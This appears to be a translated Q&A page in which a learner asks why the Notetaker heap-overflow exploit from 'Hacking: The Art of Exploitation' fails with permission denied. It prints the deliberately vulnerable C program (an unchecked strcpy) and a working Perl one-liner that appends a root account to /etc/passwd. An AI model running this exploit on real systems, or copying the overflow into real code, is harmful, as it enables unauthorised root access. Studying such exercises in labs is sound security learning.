【问题标题】:Issue with the Notetaker exploitNotetaker 漏洞利用的问题
【发布时间】:2014-01-16 14:06:18
【问题描述】:

这个问题涉及黑客一书第 155 页上的一个漏洞:漏洞利用的艺术。在这里,Notetaker 程序用于将具有 root 权限的条目附加到 /etc/passwd 文件中。 Notetaker.c 的代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

void usage(char *prog_name, char *filename) {
   printf("Usage: %s <data to add to %s>\n", prog_name, filename);
   exit(0);
}

void fatal(char *);            // a function for fatal errors
void *ec_malloc(unsigned int); // an errorchecked malloc() wrapper

int main(int argc, char *argv[]) {
   int userid, fd; // file descriptor
   char *buffer, *datafile;

   buffer = (char *) ec_malloc(100);
   datafile = (char *) ec_malloc(20);
   strcpy(datafile, "/var/notes");

   if(argc < 2)                // If there aren't commandline arguments
      usage(argv[0], datafile); // display usage message and exit

   strcpy(buffer, argv[1]);  // copy into buffer

   printf("[DEBUG] buffer   @ %p: \'%s\'\n", buffer, buffer);
   printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

 // Opening the file
   fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
   if(fd == -1)
      fatal("in main() while opening file");
   printf("[DEBUG] file descriptor is %d\n", fd);

   userid = getuid(); // get the real user ID

// Writing data
   if(write(fd, &userid, 4) == -1) // write user ID before note data
      fatal("in main() while writing userid to file");
   write(fd, "\n", 1); // terminate line

   if(write(fd, buffer, strlen(buffer)) == -1) // write note
      fatal("in main() while writing buffer to file");
   write(fd, "\n", 1); // terminate line

// Closing file
   if(close(fd) == -1)
      fatal("in main() while closing file");

   printf("Note has been saved.\n");
   free(buffer);
   free(datafile);
}

通过 /tmp/etc/passwd 创建到 /bin/bash 的软链接 “密码”作为默认密码给出,盐 XX--XXq2wKiyI43A2 用户 ID 为 0- 以获得 root 权限。 漏洞利用如下:

$ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .
":/root:/tmp/etc/passwd"')

当我尝试这个时,我得到的只是一个致命错误,同时打开文件说权限被拒绝。 它似乎在书中工作得很好,因为 $tail /etc/passwd 通过这个提供 root 访问权限的漏洞显示了新条目。 请帮忙。

【问题讨论】:

  • 您在哪个操作系统上工作?如果这是一个已知的漏洞,任何最近的 *nix 操作系统都应该修补它,尝试在具有旧发行版的 VM 中。 (有一个被利用的linux,我想名字是Damn Weak Linux之类的)
  • 我在本书的 Live CD 附带的 ubuntu 发行版上进行了尝试。它应该在那里工作吧?
  • 即使本书提供了 ubuntu,也可能有一些特殊配置可以使漏洞利用工作,例如激活或禁用某些编译器选项,甚至在操作系统中。我的猜测是尝试使用 [Damn Vulnerable Linux)[en.wikipedia.org/wiki/…) 并在书中查看是否必须禁用编译器的某些优化。

标签: c linux unix


【解决方案1】:

你需要阅读第二章。它显示您通过 chown 和 chmod u+s 将所有者更改为 root。第 93 页。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-06-28
    • 1970-01-01
    • 2012-06-02
    • 2017-11-23
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2017-05-12
    相关资源
    最近更新 更多